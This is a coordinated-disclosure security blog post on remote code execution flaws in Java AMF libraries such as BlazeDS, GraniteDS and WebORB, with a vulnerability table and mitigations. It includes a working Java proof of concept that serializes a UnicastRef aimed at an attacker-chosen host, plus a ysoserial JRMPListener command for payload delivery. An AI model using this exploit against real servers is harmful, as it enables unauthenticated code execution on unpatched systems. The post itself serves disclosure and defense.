AMF – Another Malicious Format
This was originally posted on blogger here.
AMF is a binary serialization format primarily used by Flash applications. Code White has found that several Java AMF libraries contain vulnerabilities, which result in unauthenticated remote code execution. As AMF is widely used, these vulnerabilities may affect products of numerous vendors, including Adobe, Atlassian, HPE, SonicWall, and VMware.
Vulnerability disclosure has been coordinated with US CERT (see US CERT VU#307983).
Summary
Code White has analyzed the following popular Java AMF implementations:
- Flex BlazeDS by Adobe (retired, contributed Flex to the Apache Software Foundation in 2011)
- Flex BlazeDS by Apache
- Flamingo AMF Serializer by Exadel (discontinued)
- GraniteDS (discontinued?)
- WebORB for Java by Midnight Coders
Each of these have been found to be affected by one or more of the following vulnerabilities:
- XML external entity resolution (XXE)
- Creation of arbitrary objects and setting of properties
- Java Deserialization via RMI
The former two vulnerabilities are not completely new.1 But we found that other implementations are also vulnerable. Finally, a way to turn a design flaw common to all implementations into a Java deserialization vulnerability has been discovered.
XXE | JavaBeans Setters | Deserialization vie RMI | |
---|---|---|---|
Adobe Flex BlazeDS 4.6.0.23207 | yes | no | yes |
Apache Flex BlazeDS 4.7.2 | no | no | yes |
Flamingo AMF Serializer 2.2.0 | yes | yes | yes |
GraniteDS 3.1.1.GA | yes | yes | yes |
WebORB for Java 5.1.0.0 | yes | yes | yes |
We’ll get into details later, except for the XXE. If you’re looking for details on that, have a look at our previous blog post CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty.
Introduction
The Action Message Format version 3 (AMF3) is a binary message format mainly used by Flash applications for communicating with the back end. Like JSON, it supports different kind of basic data types. For backwards compatibility, AMF3 is implemented as an extension of the original AMF (often referred to as AMF0), with AMF3 being a newly introduced AMF0 object type.
One of the new features of AMF3 objects is the addition of two certain characteristics, so-called traits:
[…] ActionScript 3.0 introduces two further traits to describe how objects are serialized, namely ‘dynamic’ and ’externalizable’. The following table outlines the terms and their meanings:
- […]
- Dynamic: an instance of a Class definition with the dynamic trait declared; public variable members can be added and removed from instances dynamically at runtime
- Externalizable: an instance of a Class that implements flash.utils.IExternalizable and completely controls the serialization of its members (no property names are included in the trait information).
Let’s elaborate on these new traits, especially on how these are implemented and the resulting implications.
The Dynamic Trait
The dynamic trait is comparable to JavaBeans functionality: it allows the creation of an object by specifying its class name and its properties by name and value. And actually, many implementations use existing JavaBeans utilities such as the java.beans.Introspector (e. g., Flamingo, Flex BlazeDS, WebORB) or they implement their own introspector with similar functionality (e. g., GraniteDS).
That this kind of functionality can pose an exploitable vulnerability has already been noticed and shown various times. Frankly, Wouter Coekaerts had already reported this kind of vulnerability in some AMF implementations in 2011 and published an exploit for applications based on Catalina (e. g., Tomcat) in 2016. And with the advent of Java deserialization vulnerability research, even a way of extending arbitrary setter calls to Java deserialization using JRE classes only has been suggested.
The Externalizable Trait
The externalizable trait is comparable to Java’s java.io.Externalizable interface. And in fact, all mentioned library vendors actually interpreted the flash.utils.IExternalizable interface from the specification as being equivalent to Java’s java.io.Externalizable, effectively allowing the reconstruction of any class implementing the java.io.Externalizable interface.
Short excursion regarding the different between java.io.Serializable and java.io.Externalizable: if you look at the java.io.Serializable interface, you’ll see it is empty. So there are no formal contracts that can be enforced at build time by the compiler. But classes implementing the java.io.Serializable interface have the option to override the default serialization/deserialization by implementing various methods. That means there are a lot of additional checks during runtime whether an actual object implements one of these opt-in methods, which makes the whole process bloated and slow.
Therefore, the java.io.Externalizable interface was introduced, which specifies two methods, readExternal(java.io.ObjectInput) and writeExternal(java.io.ObjectInput), that give the class complete control over the serialization/deserialization. This means no default serialization/deserialization behavior, no additional checks during runtime, no magic. That makes serialization/deserialization using java.io.Externalizable much simpler and thus faster than using java.io.Serializable.
But now let’s get back on track.
Turning Externalizable.readExternal into ObjectInputStream.readObject
In OpenJDK 8u121, there are 15 classes implementing the java.io.Externalizable and most of them only do boring stuff like reconstructing an object’s state. Additionally, the actual instances of the java.io.ObjectInput passed to Externalizable.readExternal(java.io.ObjectInput) methods of the implementations are also not an instance of java.io.ObjectInputStream. So no quick win here.
Of these 15 classes, those related to RMI stood out. That word alone should make you sit up. Especially sun.rmi.server.UnicastRef and sun.rmi.server.UnicastRef2 seemed interesting, as they reconstruct a sun.rmi.transport.LiveRef object via its sun.rmi.transport.LiveRef.read(ObjectInput, boolean) method. This method then reconstructs a sun.rmi.transport.tcp.TCPEndpoint and a local sun.rmi.transport.LiveRef and registers it at the sun.rmi.transport.DGCClient, the RMI distributed garbage collector client:
DGCClient implements the client-side of the RMI distributed garbage collection system.
The external interface to DGCClient is the “registerRefs” method. When a LiveRef to a remote object enters the VM, it needs to be registered with the DGCClient to participate in distributed garbage collection.
When the first LiveRef to a particular remote object is registered, a “dirty” call is made to the server-side distributed garbage collector for the remote object […]
So according to the documentation, the registration of our LiveRef results in the call for a remote object to the endpoint specified in our LiveRef? Sounds like RCE via RMI!
Tracing the call hierarchy of ObjectInputStream.readObject actually reveals that there is a path from an Externalizable.readExternal call via sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2 to ObjectInputStream.readObject in sun.rmi.transport.StreamRemoteCall.executeCall().
So let’s see what happens if we deserialize an AMF message with a sun.rmi.server.UnicastRef object using the following code utilizing Flex BlazeDS:
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.ActionContext;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.amf.AmfMessageDeserializer;
import flex.messaging.io.amf.AmfMessageSerializer;
import flex.messaging.io.amf.MessageBody;
public class Amf3ExternalizableUnicastRef {
public static void main(String[] args) throws IOException, ClassNotFoundException {
if (args.length < 2 || (args.length == 3 && !args[0].equals("-d"))) {
System.err.println("usage: java -jar " + Amf3ExternalizableUnicastRef.class.getSimpleName() + ".jar [-d] <host> <port>");
return;
}
boolean doDeserialize = false;
if (args.length == 3) {
doDeserialize = true;
args = Arrays.copyOfRange(args, 1, args.length);
}
// generate the UnicastRef object
Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
// serialize object to AMF message
byte[] amf = serialize(unicastRef);
// deserialize AMF message
if (doDeserialize) {
deserialize(amf);
} else {
System.out.write(amf);
}
}
public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
deserializer.readMessage(new ActionMessage(), new ActionContext());
}
}
As a first proof of concept, we just start a listener with netcat and see if the connection gets established.
And we actually got a connection from a client, trying to speak the Java RMI Transport Protocol. 😃
Exploitation
This technique has already been shown as a deserialization blacklist bypass by Jacob Baines in 2016, but I’m not sure if he was aware that it also turns any Externalizable.readExternal into an ObjectInputStream.readObject. He also presented a JRMP listener that sends a specified payload. Later, the JRMP listener has been added to ysoserial, which can deliver any available payload:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...
Mitigation
- Applications using Adobe’s/Apache’s implementation should migrate to Apache’s latest release version 4.7.3, that addresses this issue.
- Exadel has discontinued its library, so there won’t be any updates.
- For GraniteDS and WebORB for Java, there is currently no response/solution.
Coincidentally, there is the JDK Enhancement Proposal JEP 290: Filter Incoming Serialization Data addressing the issue of Java deserialization vulnerabilities in general, which has already been implemented in the most recent JDK versions 6u141, 7u131, and 8u121.
[1] XXE: CVE-2009-3960, CVE-2015-3269, CVE-2015-5255, CVE-2016-2340; JavaBeans-style setters: CVE-2011-2092, CVE-2011-2093